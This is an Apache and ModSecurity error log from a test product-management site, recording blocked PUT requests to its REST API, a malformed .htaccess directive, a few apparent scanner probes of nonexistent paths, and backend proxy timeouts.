[Tue Nov 22 14:27:27.737481 2022] [:error] [pid 3740] [client 213.21.147.71:59506] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zOP7n4FDtsUtlPV28-uQAAAAw&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 14:27:27.737525 2022] [:error] [pid 3738] [client 213.21.147.71:59507] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zOP-1mbVy@ZIv4kzPofwAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 14:27:27.737657 2022] [:error] [pid 3740] [client 213.21.147.71:59506] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zOP7n4FDtsUtlPV28-uQAAAAw&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 14:27:27.737699 2022] [:error] [pid 3738] [client 213.21.147.71:59507] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zOP-1mbVy@ZIv4kzPofwAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:26:40.165784 2022] [:error] [pid 4580] [client 213.21.147.71:63228] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zcIJIdcqHjnf0j7qMKPwAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:26:40.167041 2022] [:error] [pid 4580] [client 213.21.147.71:63228] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zcIJIdcqHjnf0j7qMKPwAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:26:40.167778 2022] [:error] [pid 4563] [client 213.21.147.71:63230] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zcIPxjaG1l0eYIv6XyNwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:26:40.169171 2022] [:error] [pid 4563] [client 213.21.147.71:63230] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zcIPxjaG1l0eYIv6XyNwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:26:40.169311 2022] [:error] [pid 4563] [client 213.21.147.71:63230] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zcIPxjaG1l0eYIv6XyNwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:26:40.169713 2022] [:error] [pid 4580] [client 213.21.147.71:63228] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zcIJIdcqHjnf0j7qMKPwAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:30:07.234346 2022] [core:alert] [pid 4566] [client 213.21.147.71:63558] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indaco.store/
[Tue Nov 22 15:30:07.670813 2022] [core:alert] [pid 4564] [client 213.21.147.71:63559] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indacotrentino.com/sales-summary
[Tue Nov 22 15:30:19.234783 2022] [core:alert] [pid 4567] [client 213.21.147.71:63572] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indacotrentino.com/home
[Tue Nov 22 15:30:21.205235 2022] [core:alert] [pid 4581] [client 213.21.147.71:63575] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indacotrentino.com/catalogue
[Tue Nov 22 15:30:24.657576 2022] [core:alert] [pid 4573] [client 213.21.147.71:63574] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:30:27.520192 2022] [:error] [pid 4566] [client 213.21.147.71:63580] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zdAwuwZWMyOVmcFRf81wAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:30:27.520546 2022] [:error] [pid 4564] [client 213.21.147.71:63581] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zdAxaxjVYdRzpbLTF42gAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:30:27.521659 2022] [:error] [pid 4566] [client 213.21.147.71:63580] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zdAwuwZWMyOVmcFRf81wAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:30:27.521808 2022] [:error] [pid 4566] [client 213.21.147.71:63580] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zdAwuwZWMyOVmcFRf81wAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:30:27.521987 2022] [:error] [pid 4564] [client 213.21.147.71:63581] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zdAxaxjVYdRzpbLTF42gAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:30:27.522222 2022] [:error] [pid 4564] [client 213.21.147.71:63581] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3zdAxaxjVYdRzpbLTF42gAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 22 15:30:27.727215 2022] [core:alert] [pid 4563] [client 213.21.147.71:63579] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indacotrentino.com/catalogue
[Tue Nov 22 15:30:44.913321 2022] [core:alert] [pid 4567] [client 213.21.147.71:63601] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indacotrentino.com/editProduct;productId=632349141fbeef5e72aae4df
[Tue Nov 22 15:30:45.097778 2022] [core:alert] [pid 4563] [client 213.21.147.71:63603] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indacotrentino.com/editProduct;productId=632349141fbeef5e72aae4df
[Tue Nov 22 15:30:46.957276 2022] [:error] [pid 4706] [client 213.21.147.71:63605] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zdFs35u4tX6MmaFdniHgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=632349141fbeef5e72aae4df
[Tue Nov 22 15:30:46.958532 2022] [:error] [pid 4706] [client 213.21.147.71:63605] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zdFs35u4tX6MmaFdniHgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=632349141fbeef5e72aae4df
[Tue Nov 22 15:30:46.958779 2022] [:error] [pid 4706] [client 213.21.147.71:63605] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3zdFs35u4tX6MmaFdniHgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=632349141fbeef5e72aae4df
[Tue Nov 22 15:30:46.961069 2022] [:error] [pid 4581] [client 213.21.147.71:63604] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3zdFjw89QgEJK-Zh5eBPAAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=632349141fbeef5e72aae4df
[Tue Nov 22 15:30:46.962350 2022] [:error] [pid 4581] [client 213.21.147.71:63604] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3zdFjw89QgEJK-Zh5eBPAAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=632349141fbeef5e72aae4df
[Tue Nov 22 15:30:46.962508 2022] [:error] [pid 4581] [client 213.21.147.71:63604] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3zdFjw89QgEJK-Zh5eBPAAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=632349141fbeef5e72aae4df
[Tue Nov 22 15:30:47.292160 2022] [core:alert] [pid 4581] [client 213.21.147.71:63604] /var/www/pms.test.indaco.store/www/.htaccess: &lt;/LimitExcept&gt; directive missing closing &#039;&gt;&#039;, referer: http://pms.test.indacotrentino.com/catalogue
[Wed Nov 23 09:40:52.729458 2022] [proxy_http:error] [pid 14717] (104)Connection reset by peer: [client 79.22.176.21:59679] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editProduct;productId=6335957daa53d5fcfd2a19bb
[Fri Dec 23 11:27:04.130080 2022] [negotiation:error] [pid 448142] [client 36.255.223.48:44672] AH00687: Negotiation: discovered file(s) matching request: /var/www/pms.test.indaco.store/www/im (None could be negotiated)., referer: http://pms.test.indacotrentino.com/im/
[Fri Dec 23 11:27:05.161533 2022] [negotiation:error] [pid 448143] [client 36.255.223.48:45982] AH00687: Negotiation: discovered file(s) matching request: /var/www/pms.test.indaco.store/www/im (None could be negotiated)., referer: http://pms.test.indacotrentino.com/im/h5/
[Fri Dec 23 11:27:08.375860 2022] [negotiation:error] [pid 448141] [client 36.255.223.48:46684] AH00687: Negotiation: discovered file(s) matching request: /var/www/pms.test.indaco.store/www/im (None could be negotiated)., referer: http://pms.test.indacotrentino.com/im/in/GetUuid
[Fri Dec 23 11:27:08.397661 2022] [negotiation:error] [pid 449903] [client 36.255.223.48:46452] AH00687: Negotiation: discovered file(s) matching request: /var/www/pms.test.indaco.store/www/im (None could be negotiated)., referer: http://pms.test.indacotrentino.com/im/App/config
[Fri Dec 23 11:27:18.639242 2022] [negotiation:error] [pid 449903] [client 36.255.223.48:46452] AH00687: Negotiation: discovered file(s) matching request: /var/www/pms.test.indaco.store/www/ws (None could be negotiated)., referer: http://pms.test.indacotrentino.com/ws/index/getTheLotteryInitList
[Fri Dec 23 11:27:19.970138 2022] [negotiation:error] [pid 444301] [client 36.255.223.48:45660] AH00687: Negotiation: discovered file(s) matching request: /var/www/pms.test.indaco.store/www/mg (None could be negotiated)., referer: http://pms.test.indacotrentino.com/mg/other/codepay/js/codepay_util.js
[Tue Feb 28 09:43:26.780584 2023] [proxy_http:error] [pid 1479276] (104)Connection reset by peer: [client 213.21.147.71:50264] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/catalogue
[Wed Mar 22 14:21:42.501333 2023] [proxy_http:error] [pid 1828067] (70007)The timeout specified has expired: [client 37.186.136.246:63476] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editReference;referenceId=641aff89d950840eb9b5380b
[Wed Mar 22 14:21:42.506478 2023] [proxy:error] [pid 1828067] [client 37.186.136.246:63476] AH00898: Error reading from remote server returned by /rest/media/641aff89d950840eb9b5380b, referer: http://pms.test.indacotrentino.com/editReference;referenceId=641aff89d950840eb9b5380b
[Wed Mar 22 14:22:34.283768 2023] [proxy_http:error] [pid 1828083] (70007)The timeout specified has expired: [client 37.186.136.246:63500] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editReference;referenceId=641afe3ed950840eb9b537a7
[Wed Mar 22 14:22:34.283839 2023] [proxy:error] [pid 1828083] [client 37.186.136.246:63500] AH00898: Error reading from remote server returned by /rest/media/641afe3ed950840eb9b537a7, referer: http://pms.test.indacotrentino.com/editReference;referenceId=641afe3ed950840eb9b537a7
[Wed Mar 22 16:36:11.996583 2023] [proxy_http:error] [pid 1829319] (70007)The timeout specified has expired: [client 37.186.136.246:51177] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editReference;referenceId=641b1f22526d29a110e1d3d6
[Wed Mar 22 16:36:11.996648 2023] [proxy:error] [pid 1829319] [client 37.186.136.246:51177] AH00898: Error reading from remote server returned by /rest/media/641b1f22526d29a110e1d3d6, referer: http://pms.test.indacotrentino.com/editReference;referenceId=641b1f22526d29a110e1d3d6
[Wed Mar 22 16:36:41.025255 2023] [proxy_http:error] [pid 1828130] (70007)The timeout specified has expired: [client 37.186.136.246:51191] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editReference;referenceId=641b1eb3d950840eb9b539a4
[Wed Mar 22 16:36:41.025308 2023] [proxy:error] [pid 1828130] [client 37.186.136.246:51191] AH00898: Error reading from remote server returned by /rest/media/641b1eb3d950840eb9b539a4, referer: http://pms.test.indacotrentino.com/editReference;referenceId=641b1eb3d950840eb9b539a4
[Fri Apr 21 14:59:33.837244 2023] [proxy_http:error] [pid 2287500] (70007)The timeout specified has expired: [client 5.92.117.99:30576] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editReference;referenceId=6442861add0917a3f84b513a
[Fri Apr 21 14:59:33.839595 2023] [proxy:error] [pid 2287500] [client 5.92.117.99:30576] AH00898: Error reading from remote server returned by /rest/media/6442861add0917a3f84b513a, referer: http://pms.test.indacotrentino.com/editReference;referenceId=6442861add0917a3f84b513a
[Fri Apr 21 15:32:17.017254 2023] [proxy_http:error] [pid 2289685] (70007)The timeout specified has expired: [client 37.161.132.206:50905] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editReference;referenceId=64428eea9c6d1528a8d96e6a
